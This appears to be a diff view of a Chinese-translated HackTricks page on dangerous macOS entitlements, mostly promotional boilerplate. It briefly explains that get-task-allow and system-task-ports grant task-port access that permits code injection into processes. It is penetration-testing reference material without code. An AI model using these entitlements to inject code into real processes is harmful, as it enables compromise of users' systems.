<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一个**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
{% hint style="warning" %}
|
||||
请注意,以**`com.apple`**开头的权限不可供第三方使用,只有Apple可以授予。
|
||||
{% endhint %}
|
||||
|
||||
### `com.apple.security.get-task-allow`
|
||||
|
||||
此权限允许获取由具有此权限的二进制文件运行的进程的任务端口,并对其进行**代码注入**。查看[**此处了解更多信息**](../mac-os-architecture/macos-ipc-inter-process-communication/)。
|
||||
|
||||
### **`com.apple.system-task-ports`(以前称为`task_for_pid-allow`)**
|
||||
|
||||
**此权限允许**获取除内核以外的**任何进程的任务端口**。查看[**此处了解更多信息**](../mac-os-architecture/macos-ipc-inter-process-communication/)。
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一个**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
Loading…
Reference in a new issue